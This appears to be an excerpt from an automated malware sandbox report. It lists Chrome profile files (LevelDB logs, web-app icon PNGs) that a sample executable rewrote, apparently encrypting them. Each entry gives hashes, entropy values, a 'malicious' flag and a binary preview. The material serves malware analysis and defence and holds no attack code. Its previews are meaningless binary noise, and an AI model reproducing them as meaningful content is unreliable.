SHA-512:	B889E19144DF5C7CCC49CD62A3DF3D440265A283A9CBFBC66566D5DC9B4C559C292BEF059F3CB56398F4B314275E764AF3FC13493604A9BCD646270E75D9DAC9
Malicious:	false
Preview:	.On.!.+H.....vSk].K?E.>..}X._.8..._.cg....pW......c.....dO@.p....+t"9.u..$..rzZPX..U.o..'...8Y..\.iB..........}[.>"..N....Q.H...Yu......^.".=...0...h.C.%..@D4Q.C...X.....&.,..Z.e>.am....G......\|$vON9.T$...i..k-M...<..v<U..T7.yOZ..v9...,..(..&..6.xj.I.FF.&D..*\w......8l!(.. ..:)....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG.old

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	639
Entropy (8bit):	7.655295218170455
Encrypted:	false
SSDEEP:	12:komsqzxom5IvWDsn+dOkO7HXWVbA6aLHTY02l+0TmlDoqw1cii9a:fmPxomIWDacLiQ0Q0R0Azw1bD
MD5:	EF0FD5A531868FCAE0650C9867D22C8C
SHA1:	9DF5A1031CE5FCE0385FEA4F335C5B9061FCDA86
SHA-256:	94184A6F73EF9C581FDA7D9EDDB9D8CF4799020241CB8E63BAFF63A4D17987FD
SHA-512:	90D5250BDF8ED1E539CD5547A77157804C5584D96B737E1A5A4E7605A9497CD97B700E2EFB9CA8A60E3F6EA56B8BF9DCBF90900B861E9D7A7BA250A9253A1D6E
Malicious:	false
Preview:	2023/.f.g................y_..,.uC.2]d.Y.i.....\|!u../.T..T.0....<...0..:y..r.d.7.`.o..+..._....^.]..M,..e+.U...J.n...o..P...L.hJ......8.k....rCd.....y.m..@1.R....... q..k....4.\....'=.N. z..w[@h+..q\}.`..4....h..6p#..Q...=......n..O\|}N...c.2..+q..4.f....k&..3..iQ.7..u.t..../i.._$1&.c.F...cR......T.(..i.(O....`U.Gl.....y.M.(..9:.@"O.nw}a....F.7Gy\..z`.A...NP.b...N./.....b.N]..."..`.....K...Vw.b..n..Q.$Y..0..<.....{.Ah.9..K^...S.H../T.h!g......q......Sz.W.w.Y.. .L=.m.....p7u..s...*.2.4.0.<p.].....E.._..W.2#w.@.}$...x.Yt.r...=..-.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000003.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2760
Entropy (8bit):	7.929213299204993
Encrypted:	false
SSDEEP:	48:SpDxeJWGHymwmB39qsBZ1/aOX/l0SBckye8ZtDNqECv3is5R6bAUiKW0yD:gxRGHymwmCsXvl0SBcsgtDNZCX5Ipa
MD5:	CADB19E0FAC7E10485DD7600D95B34C9
SHA1:	0B522E2D584DA75C2C8FB5532EFE991DF21FFFB0
SHA-256:	B11FA8796AD91AEAC5CF2B72A64DAE734361A3163035705E9A79CEDEC9959F32
SHA-512:	205FC121A0D37E295AF935C1118E71E873687C6FB4599199B878443DBDD0795D7A8E3D7D9C1D1AEE037B20EF7B7480FA6687B29115D57AB975516BDD247DAB3C
Malicious:	false
Preview:	...n'0...O.g.G.+:..:.r..s).......0..)..!i.KE.>&*e........M.?-....0...$X.sv...$...;lC....;.+9<.>C........~.S.h..r..L...%1...u6..{...PR..E..J...b`44WFG.....T.F)6...O...]<F.RJF...k.S.Y.}...(% XW..;.f..k.74\...\|.... .......U.3C.y1\.......}q$9..g+..............7v.a..6.s...<v./;.....H#..%w.)..#Or[7...g.T$..............C..m.............y.-....(.h....?...n)..mUM..a=.e.y..YF...If.......s.g....L.x2.\.....V...o.8..m...2z..1B...K/iDg...:......0U......B.....D..K.%:..`)B.......X...H.B...-.. .sY.....>>.8..J....]..s,Z'...&$7..m.....l...YL..-.A..Svdb.W....R&..lCL...4..8....yk....6.R....3oE.R;...Y....;.#.9.&.IJ.0...;c#...c.]..X.Q......[.Z/...YM....].S..!h..o........ou^X;[..B}....z2B{........x.h.}^....6.....Q.....Qg../T%{lh.8.....0..x.l..&t.[..2.H..}.\|x..l..m..82'.5y&..#.'...........9.c....j..T.L...c..Jz..y..}.Y.-..hS[J.).gv.k.?.x.'...g"..xi.Uo.@L..._5....I..r.eC.S.....B...S,@..p{...d...f.............G.8...n.Y...L0..._.OD.T..,4!......a..L......

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG.old

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	615
Entropy (8bit):	7.621297852162141
Encrypted:	false
SSDEEP:	12:kpnDBqiW2QQuSgn1b4o4Rdvsck8oV3wFHkJsQc+9VOJfZLYqkdoqw1cii9a:iDUiW2sS2N4rRmreFHkJsQc+KfZsqYwd
MD5:	C79DAD8185AABEE5FEABB7C4DAB2E2BD
SHA1:	F6DCA04DD0BEA066011B9C16D7C468ED0306144D
SHA-256:	0B353D21DE0B3F12D63B80BC45300CC01D78EA5E1DAC40534C4C32677BEE7A5C
SHA-512:	1438E9829806C94A78E4E82992C620E217D8DFB3A42AFE62A8D0A797812B0DC3B41296D1C053EFA9CEAD0D8ADC9F8E248657B180B7CC77421427FBF99DA8A7B2
Malicious:	false
Preview:	2023/......%M.x...Z...L.....T<.-.P.T!H.^]...it...T.....u.(...._bg...RaJ..'.g,..l?{.x@./........:.k.(..!..o....V..S?{z..x.Y@.Lj..P.X+....F.E/8.V.\.ROt.1..E...F.'RNa....b.....*......9...G.I...L..t...Yj...F.....I...i.W1....^P........h3.id.2.&.......d+.\|..eTN......J\|y.C.i.}3.^....`u.u......'...0.5a.&..>2...pw%q.].``;B^....a@..lJ...T...v."F(..SE.0...='..P......./...&...0..z.l......u.G..J2.>x.7:.P.vp" ..k\i...QBC.....mQ)..1i.7...m".e..fq`.[.^.....OiX.......%.....".....b..,..9N..~:......aT>}O..5.t.}8..Z...I(TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\128.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	8296
Entropy (8bit):	7.97671210986902
Encrypted:	false
SSDEEP:	192:FLMiosVmwqsGVM7UBK976EvBNFOQ1VsrqHDq5XPqMf:FQsADuRkqNFlDsmG5fqG
MD5:	FB477190513F3A3BC8C9CC7F5C759B18
SHA1:	5E6C683E8831264CC25D3884C7E288D1D0C12636
SHA-256:	7BDDF43F55026B64D689491E4391576F8C1479147D4C12229711F8FE07FAAB7B
SHA-512:	A5066E8A06F5E6642F8BD2B8C4ED4642AA1DE0874D1A31D06C0D2ABCD7FDCA43DF4C8644FB72A6E4EEFAE61F6D0CA4DFBBD2E7CF3CC51992F5FB1E6971A069C1
Malicious:	false
Preview:	.PNG.p......=&.T.&g.%).8.\|V1Lu.....s../o.~...+.i,0XB.Q..TQ.............[0t../YzA.k.?.......L.../8.....D...p....-Z.U........._4......\|...+.%.R%..9.mW.,.....i.3......X......T..e.]..L."?.h[..&..8+..K'.....M._i.vK.e....%lL..n.`...H.........J.L..D.K.u...8.L..@E.;hF...o.<$..]+8#...^/$B....+Ly.X............].........y'$.H."(Jr...../..`P..Q.c.#.'..6.\|..y....--.Ul.'V..,2.5.[..R.Y....X.'...r.'.5_.W ....KM.....V_......<..k3.;&>}.7v7....hN..c.FUG.......{.3....:.G......#G./.2{yG.+....q...8...<M&Z...........:jR....^`Ub..{,HzD...+e..cw.J.bC.s..8.I@1._.B.Ry0.z.`...0.:1xw.O.#....G.a....\..u>..#.K...J.;..'Uh`..a...Smz.t..$..9Oe.0.E2\..@k)...U.G..........H..e.C.....Q.{Q+.>6..q...o...#....1*....L]..H..e.......M..C....[..y..T&E[.FKu.q._.=...<O.4X.H.^....L..9...Ev.4....r.k.....Qi.gC.,.m."..\.?K.... A.S......K!...x.i.I.....Z?\c...Q.l;.k.M.%R.....P..w.4.r..........nAr,.<4;.u....!.[..{.?...F..a.....w........N....Yv..p....pj..>...G...1....H.Q..\S.ei....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\192.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	6023
Entropy (8bit):	7.969304090885271
Encrypted:	false
SSDEEP:	96:eSWb+HPg33dHeztgMLXzyeDcXo2lJ8sOcnA3FxK5Hw6lFibfN6Px7QkHIa:VWb6PCczBXzyWc1ADi5tlF+iOkX
MD5:	20B1C6F316772AC32A0D3D7611C31D71
SHA1:	D52F96AF3A42814DDBE60183ED160743CD8C9D0B
SHA-256:	A3E4AC9A0D27E407B6AADCAB2B4014FF424B77853EB35742AA7E785C9C0BB279
SHA-512:	1FF34D00D454DE0624FE969FAD4BEB4626B2574A1C347472FF9985F341A55BE78E9A6D2EB1EEA8C8C71426411226F792DAB61258489464A3124585E833612D67
Malicious:	false
Preview:	.PNG.........-{...$..0C..s&S,....YI.z.t.v.X7.P.@m.\|\.......{.........Bg..X.mGz1.....d.5..V.RE@0....4...?.4U..7.0f...X....e....9...........==........(.:n..'....fS9..$^......)-<qj...TY7....[.oT$d....Xq..z9u...f..v4.y0&.J...M.7).....D..]W(..:.E.....".....V..I....s..`...v..X.?..~J.....,..6...<.&...N..g..b.w.0.1.....).UQ....?.V.!@dlX!.........C..H[..).^.]..w...N.....F9............w.g....wW.....jq..f.9.Z@,1..}.&-.`W.dd.m.}<m3..y...{.t..H...{.i..N....z.];2.]\|.....O<..C..:w]h....=..!W..Mg/.C.i..z.c....J.S.........8.8'.+..3.tQ.7.....\|L~.H5'...=...}...(."............7H..a..9...g...j..94....b.......*.%2`..8d.....Q.r...........Rb....".[.$j..w........H.....S;.....f..H....1,.....1p+W.3.k.......j....uL...`...ZPk..Q...#..a.hv0z...?.K{.o.-.%-..bn.]ud6.......`.u..l.+....or2WL#.e'r..(........$.[s.........1.x...6.g._l\=...../..!.@...[`l.`I..n5..N..F#....B...bu...`z.~@<"....)d.E.s.s....tB.n..l...z~{y.O..Cm...7.k.....2X.d..!....k.:?:e.-..0~.[..."..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	19928
Entropy (8bit):	7.98827139213843
Encrypted:	false
SSDEEP:	384:q4xF0Qcb7IEZ/j5TYw9ubChNNVs8sIdFGwaI2NZacaNUBtoDsCR1t+G/wa75M:q470QcbnZ/j5TlF//EIBt2NZalUBtoIr
MD5:	F167ED7EDF5E0DD9378B177447775CA8
SHA1:	D7977F502CB71B4EDAB114CF7BBEBD938FFC7C65
SHA-256:	B4523585FCD0557A53312A49162308C08F787992D3BB940E32D04F08EBDEB887
SHA-512:	D6DDF42A1AE036143784BB65DC1E55DF9C7738A884241692441B930B96B0D81ECB8270BDF674134762E3AE38BA89DB156FDBC47AD308B4E540C8D683C56059FD
Malicious:	false
Preview:	.PNG.j.....A'%.^....._..E\|.=i...!.....j...UL... .i......Ko...&.!4j..O.0...T....[u.C6L...s.Rs...S...Vm.....!.Z.. ".P#R./.hm..C.....8..8+..p/.y].T..0./i..^I].;.D0.N.......=-7..vN....0J2..4..._..[......c{.&...........G[.{3...5.S.p.G._.h.,...).j..`?V..D"/..+Wi..4+..n.Y5...G.+c.....%.....?I...2..;..g..)...>6.V..r@..././Z.o8.D.....&..E...x.h./.].h0m6....S.}).\E(..X.8N.c......w..Wq.P..N_...._...$..o.9..1..K.....$......1.>>W.5G....n.g....,...;...a@...)i'...7......%....6.P.w..3^..y...,..R..O..7-....P.V...No".r~+rfm....8Ap\../..vZ{'.....(aIL.?..k.$..U.....'1a.Jp1.!..9...&.>G....1.r$u.h.{.A.7.}.aN`...z...q....ogg..M..d.F..v....jysR_.w[.+......t...5.#W.c]...Y..7....0.H.4.)...+..Y...M.-..TP.+.\3......2.K=.0n.qT....B.!T....n.y..$.r.....3...%..5..F..Ls...=..#..-.w.......\|.PE.9...e.;N.0..=...`.....w\|.x..r.....w......_..,....Q..p...PpV....G....^..D?...Dv=:.....}.Q......*..ER.;oj...!....D.xa...=.5.uO/..$b......k..C.}.........).$..'_t.w.f.j....b2.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\32.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2150
Entropy (8bit):	7.911850395327119
Encrypted:	false
SSDEEP:	48:4X6mJBvbewA0MHDIZBE5/WvBZs075qBfM4qDQuv4myoC7AsBpyD:A6EBU5HbWf2aQxmyoKffa
MD5:	43E1FD7E9A0035FCC71BB742303D246A
SHA1:	AA9ED730B001DA6EAA84A33A1F6DC344FA90D9DA
SHA-256:	1DEA6549E08813EEF8BA348D11CCE4C41E170FC5FD812BA79509C23B66BE90FC
SHA-512:	EA0A6498285C8E8D26D6FB6EB7DB60809BBCC0F22B2E066B73B2A83617E8236EC1AC8D06514B5C711C32FA7F7B5229A3FCBA7CA4890DC2807B2188A9379DA553
Malicious:	false
Preview:	.PNG.`.J...r...{,..>...]..~.\|.."...<..&{....... ._kE7.......=K..-.%..K.F.....D.>......pzz}<..=/....3.t.3.....r..8..+.....[..@/...D/. ..p..4....nx.Uv...&...O.........U>....R.%..D....&d2..p._..R......5i.p..^W5%.0.]....+..F..(.2.n7Z....^...p...Eb.j...,p](.l...eG.....sf.4.k7..C..s.).....'.....W..W...>.X....%\|g..Mr.03;..?Q.0.J..c`4./.d...".<.8BO=.K...b$..@..p5.]..AS.... C......V....0.A.`q2]..v.@.''.g5U.~....)m<...+........5...$.......B...`......J.L.aQ...y...M$.qtE...:..^ ...A.O.~.K....J.jW...2S..../.. jM.gk...7+.+u..a.L`....a.>!..X....\|9!...j:.z.E.E...g.D[.@.3...R....6t...OD......a.x..s..^...m..5b....`.3.h...T.....t.>.k.....MA9....Q}%.Rg.V....@.1......Z.....?..[.8..9....=.CG.e...QZ....rLd.9.).DPQ8...3.l\|..d..#.%.....=.........M\\p..(.1d...~h+C.....=l.....`..."..{...de2>...h.Q..x;(tV.IkZ..@.F..+.m.N:.xl.m...^".....\......N.....'.s....k......#...N#..2.B.-..IT(...q.m...^...K.bt.6..;.-....`.8~.(..p.I..ej-.N2...Q....\6.QK{..[E.>.Xx..GR...,

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\48.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3201
Entropy (8bit):	7.942219174903808
Encrypted:	false
SSDEEP:	48:bCk7/iEOC1Yp1qYwJqX8sf171TGp1opn78AZ20nZkYfHNdCc/6mQootquvyD:mk7iCQgb+971GpqpZ20n64NNQHtquva
MD5:	F530F6EE5E575925C2A71F5129657318
SHA1:	07CD3AC1F08110F2A83564CB2A1605372A8D5ADF
SHA-256:	5B8D7668EBC038AD7138D38D58673236B58A2C77E044CC715D56741FD0441E27
SHA-512:	7A985A6B6E66F382646BB512917C009AEB7D43A68C3B336F3EF256DE9DC73E9D62BD984F9DE8B1C9488D932DE867AD582D9D408048825EA6FBA074355252BCFF
Malicious:	false
Preview:	.PNG... ].;....^l..n...X4'.h.9. i.4..y..9.].q(.....cC.5.z..!.L@h...X...j....>V....r.=o..?.?...k.V....!..W .K......^....G<9..F..h2.M.^..~B.].}...VRQ.xg.w...e....KD...o(......d,.0.0...xA.rX..4.j....w.6L...u.....F9....7....7...?....1:...G`r..3Ws..<.Bb.`........t.V..)z..(.U.G<!...2...\....6....R..6r.....&.`.jLk..u.k[......k....@u......./..;.....H.C..h..M...).z..QQ$.h_...:........W..........G...B....L......Wx..7.0.i...HL...[.t!..N......?..s.W...[R.B%ux"..$L...E.Jg.R...4...1..YF...H......x...\|)..q......d%.i91}Y.y'..b.).A6..l..B.>IS+S....AY.2....L.XM<f.u..RgS...Q.-ATj.vu#I......o.....oO..`......H.c..m...D.x8.....%...0.c".K)..y.6.#.{.(...(T.G.1..A4B...".*.$j..x4.......U.....\|..".%.."...SA&.0.G].]p.^Es.)'......H..b..%...C.m..g.)6\|<............."22..3.......zfl^...o..V....?..m...e$.A.4.0.#U.......I....^...x.).7......P..[<1T...R....b.?..O...N.....>^.......j...S....A...@......%...:.X..SO.\|.e../._........c..#.+.M.YF..d60C...n.g..6<a\......I.X.k.;f.M$Z-.....r

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\64.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	4170
Entropy (8bit):	7.959382693205258
Encrypted:	false
SSDEEP:	96:TnJ7bSwyeYaZnW4kRD4QCZiieIUWkMDL1pDs+f8ZuUZbIcAa:97bSHs1BhZGIAMXPDs+f8v13f
MD5:	D10D5BFB162E16C32AE49D61DD3199F0
SHA1:	E7916CBE55FE88C2D06BFA530E2255712A20FF60
SHA-256:	1EA6062D7E702466B30F406F6AFC717A716084EEA6FCA2FE0DC9DEB8867F7EEC
SHA-512:	0B9C310477637C29AC0301ABF9E2E2A41E04BE99ABC1BBE112E9647A088B477C6EC38066B537D0EB56C75CBE50B5F4259A77017772C233D579679B115FE40975
Malicious:	false
Preview:	.PNG..NU..F'2..4c...G.x.yv.2R..d...+.JIpfN..Yy}w"..N.p@1..Eq.l.....{J..{d.T..V.i....IG.H.........B.....T..d...mh....`R8...iLJ.....4.2.9..;...}...b.Q.....j...}..d.5.\|^...Z4mK.3.._O......mj.. ..$.uzbtiZ.:\..KAYd..v?.`...S....8x#)...&ER.+.....s.1..\|.[+U....F.._..}[$......s.a.z.....i<_g8..i....g.\.o....3:;......^.-.D..Yq...I.......=.....Gam..0j....m.....F.....)F<+......p.B..m......Mp.[&.J........1.._...a..i6}..8.2.xf^.(.5.&....[.t...Wo......9A...E...>....{.eC..'n..K.U...]......v.$.b....Q. D..,........\|.R'......i...J.QSf..YJ7.\|&:f8g.3.d....^.....K ...K:+%..mSh....+.,..~.t./.=....U.i.3{I8..{.......9...g%\|.^...7...j.z{........bBS.E.K..9k.y/..B.mW}.k.....Y.0......o..m.....Z.......M....o....1..q./LTs..i.r+h...O...."[.W...X-<..7e.....g..............U...#..!.;.2..].,7M.Q.....s......l&...,.#.yUk..$....v.b.....T....Z.......`x8X)..Q.~.....Oc.\'*q._.\|.....o..yq...Z..V....6)fP.!L..B.<......../c.m.?...B.d...V.....^......f..a..7.C..!.K...5

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\96.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	6103
Entropy (8bit):	7.970586195201494
Encrypted:	false
SSDEEP:	96:VOkUZLXqez5dUN8xxnHj59x6k5isX0d7r/9POVap9KMvYm8b4AxAyTla:VpUZL6ATU2xxnDnx55hX0V9WVi9rR9AK
MD5:	1FBC63F79AE57B0D232E3860E9F53F63
SHA1:	037E510AB916D29B6EFA50803DA73502AFA1C8C5
SHA-256:	7A6C655D16ACCF3230A9EEEE456C31A5A3868E0502F705404DE8D757193D5646
SHA-512:	8A755F20B4938A9288E0336F8A3FE275DC25FF7D33308DDD50DABB4FCFF11996AF186F2FB48D95B39AE6C3CEA78AC88049CF9F73DE2837FFF56230A564561A63
Malicious:	false
Preview:	.PNG...&.......v...p....Y..>..7hL,./.a..}:2dq...v.Z.a........{~..],A.&?(....,.f.&..x.N=.n.J..G...qML.f.tLN...y...'w..E#X.......O}G...F".....:<.Xq...h.>;k.Q..~...Z\|....R........pWr.J...g;....0..5.B. ..7........T8.:_v...>.I........7...&. ......](.TVb..^4{.2..e.........._Aflk...:.m.. i....+.'<"...;..r.......V\\.:T'.k..&x.8+....scj.....y..~.))....V4...i.S.C..Ua.....-vh.v..`.s....`......&&.......x.TN^#..0..[J(O......z.R...7.lW....p......."m...l.k.=s.F&.DE.g...~m;.Sn..y.?5.....u.../+..}..u..h\..NU....N..v.hZt.EW....Z!^us1._.j..;..d..,...sG\i3.]..<......y.).=.^.wON5.W.1.p.M..m p..e.XE...W<.+02.6.r\.5..r.....V....K..<.=.Z.&.w..l.r.G'..Dt.Z..,.<....S<....;..}...I....3.....X2V.9..{.S.?..N.4.....L)...D...Y1'......u......QU.=..(,-d....q]...5..I....J_..`...S....1._...!...$.d.5...{.f..,\.!P#..9z.3..4.{.......{i:^.Wa\.............&j..{.}.=...n...Rqz._.l...AH.^....^....GW........gDB.XW..*..8#....U.b.....O.;..t.r....../...Q..j:...r..<^..L..uv....f.w...'.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\128.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	10398
Entropy (8bit):	7.981140823228046
Encrypted:	false
SSDEEP:	192:91wAM+JvXy7x3mluKzftXNxFzpUXNd6Ie3qR4IO31RWRUTqoSwHe:9yZshTt9x7yNeqqz+
MD5:	28041E02DE7A562E28CA08AE126557E2
SHA1:	DD44ABC1D3200FDD9521ABF2B4F696A433893767
SHA-256:	E90C8647EE8E47979C3D756657736AB83B972AB97ADDAA6EC068861B9B25AC06
SHA-512:	448467B47A5F13DA3B51A2DC2B0E72FB3B7D35BBE0CE9EB160400C7F0375F1357897871B8FF0BF9AD4F103FC05BE843B17763973A1E45C651359DB7F8E602E2E
Malicious:	false
Preview:	.PNG..>0/.....Y.......y.vgtS..9p&=.....b..+".}......m.9..o..'.{s..w.o...r...F.-vN.C....-.I..ye.........=..I\...t72..3..0..5.vKc..X.4Y5.w0....r.jm...M.b.........q1.=6....z.).T_aQ....Z......./...D...9.....AeQ.yCED).X4'(....$.....I......'S>..Gc...S...0...QO..^4e[..,&..2..B..g.R...\w....k.[?{t}.....r.\|....`..6..c:..)3J.J..~u.T.a.......:Y..3..4...DNM.p..C..M..B.T$.......Ec.7....@.'.x...C.S.E..o....P.m.....{d..<.v2..!A...k...md.E...V........ .A...Ju..7A..;&ML.....I............~_th.&$..se.#..?..MF.~.vj..4{Y7Ez0!c......8\..8..d)n...c.y...b@..6..+........._.......h..W..c......(.C.H`.e....7.....PV........-w..C..v..{#T.gh.AIA..11...........J..0.(.=.......h+\|>~\|...I.....p.ni.!G.;l"....Z.).0%......Y..e...6.>W..6.............I....5q......o.&......6.U.._.{~....f.@T+.....,Z..d,.gvr.... e{...N.Q.d...X{9S..~..l`b..X.=...$z..JSL.]...ZTs.EN.\|:G.D...E......F..F..........."...N....l.FI:+.f...o. .6.m./.1..?.n!.G"9.....I.~HK.p.S^h.hD. .^..9.h.Z!P.._s...y..m.\|...[.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\192.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	7289
Entropy (8bit):	7.974856156838367
Encrypted:	false
SSDEEP:	192:gINvFQgg72Ba8NdiNzCdsO+G7ITGKDS54vTC/lu7xAlvoPy3k:fN2l72BHdiEdl+GkTtY4ZS30
MD5:	A82AE28D9C19CDFAE0BFB71B9706E1C3
SHA1:	B4ED47DDF41133FCAD05DCB8374E519978E1E18E
SHA-256:	5E8D0911AF5CDBB6520FA7F3694564BFB6F87297ECF001782D12EBB1FD25EB8E
SHA-512:	D77B59276320AC11E647FD4705AF3340E2E80404F4347EFC86052E39D202C22AE6AD024CF5DFAC52E5E63940481B9A9CEA769177391C4351992F2DE76E340068
Malicious:	false
Preview:	.PNG...G...N.hH..0.....j.n7]sQ.<..2..L..'...t.......Yb.J^....t/;@[.YF...qc8e.~Y.R.5.UP.{..w.a..M..J~.&../B.%.L..5j....Q)...H<.......<..a.&&B?.?..1.]^.R7.(..4..'.....A..b. .j.5f......m...o}./.....\|T..6KN.]...\|.W.!a...e.Q$^. .+...-A.E..\|=.4+..h.P..\|..Ekxj./..b.....Y.@{...pd&.\|.Z...#...K..m...X..6.%.......S.$..8......,....jv..b.-0.>..C\|A.aR.d...-...VY.\FI....+.=DG.....!"L{7....G.....2..>.X....I..:..BJ.J<...Cvg........=..r.0..r.....V..AN[..k..SXkz.#..m%..\|.m...w.D(.n...E...eU:.....4........HZ.b.D..b..F.E..x.j=p..F..$..\...#.........3.u..3ao....U.l8Y.=...)...M..............Xr........7+0V^;....M.ww.@l..X.p.<tB. .@....F..%.#..1..4w.....p>.+?.....D"\...5.K......+.d..HWk.$$...AU]H......C.)........W....~yy.A..Q..c.e5...Q...Z.e.....z`yx.^..........+1...;...._...G.)M.......9J&g.HDws..F.pO..Q.(CL......V.H\U...}:q.!42.....v.?Y0..tV.&."..mJ.}.R..M.#.Nk.W.9..ZO.....F.;.z5mL].........Q.....K.9S.Qs...I(>..T....)..V.8...C.v.....{..+.i...............{m:

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	25673
Entropy (8bit):	7.993149092787193
Encrypted:	true
SSDEEP:	384:1Q/RAuB828TsBtmfGQ/AvOYG6YGxM36QiXFB5Wd9DiwAvFgGI2mBw3Cxm9sZf0tt:CR18mL2/b2R5j5w9+x+GKwUmsMtas
MD5:	4768FA9E7BB91160EA78F6E885DD5CE2
SHA1:	287A01AA90A7AE96441B6519D6B1A9033D84CF59
SHA-256:	D8C8820F01BA54A32776AF5490654109CBCE3857EC6B6656E036AD7C0073982B
SHA-512:	A97DE0FADCFC15767C6B25BF2396A5DF35A28C798CFCB89BE241ED20EFC97C921153898EC543D7D39950738569593DFBF97E7871831DEF5B716B7BC1A7A316C5
Malicious:	true
Preview:	.PNG.k....L.....M.+..].....%.t.=#."b.%....A...o..L.S...{z.h..\.......-:...W..0.'.WhH5t.P...z.EBb..}..Th.a.O8I......C.N.'.z.=F....:.S(.snG7....i2....R.m]W...-...5.m."...`....D..U..c.p..]S^.......P..jai.\|..T..h..^....R..s.[.,..mru}~;d>"6.d..:.....a=q_.k.w..C3..t..AU.\|.pUKI.-&.X@.D..`&....j.:&-.D....WM.,Q......s.fM......@.{.cC.v..".....s;{{\...&..l.e:..........4R..VR.e....d..!.,.R..v...)..H.'.>..5.7.....[.......aL.!.vl....)`.#......l..7......g.s.`.6l..t....^1......i..&....\....B..4........$9..JB`D...+.!........<E..tS..S^......\.9...S8........y....w&. ..j...7...".CL......>.<.6.&.....I_...LDf.$.TFPU../......`.6..].5....1..wG....$.._..]............10..5..........4.....W.{:.w..'.y6.....i)S'.J..f......uc...~..zf.d!...)..8...Q.x1.s..%.....l4V\|.W.w20a....Z/..=#...QY.=.....).......rX..[..p..l.....A.N.......H....B.....{2...[}...\..3R..k...<.+B...+.m8VwEH+K-....`..._<j.D5Y4....]...uo._W.u..@{..P.P.Q`.f..g.]..K.Jq2.o.)...U`Bq....3u...v

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\32.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1823
Entropy (8bit):	7.883674533340117
Encrypted:	false
SSDEEP:	48:J6F8FafYdaIZlh4jGn959KLsgpgDlfKNtN1YC5yD:uGaVGnfy1OJfirYia
MD5:	CABFAB0702F1CD131266DB5D816F6558
SHA1:	8BA144AFAA6881361232C495177CC29E957CF290
SHA-256:	0DAB8D85321F9551D6746D7743872E433A297F08659449819448CF8C4FD81EDD
SHA-512:	AE07F188C62F4C2A3E7799E71689D0BEDBB8E49B61C12FC20092496ABA90F2BFDE28CC00DAC8A8ED4D47CB30DF095F4FD440247E812C9778436CCC8C545D1227
Malicious:	false
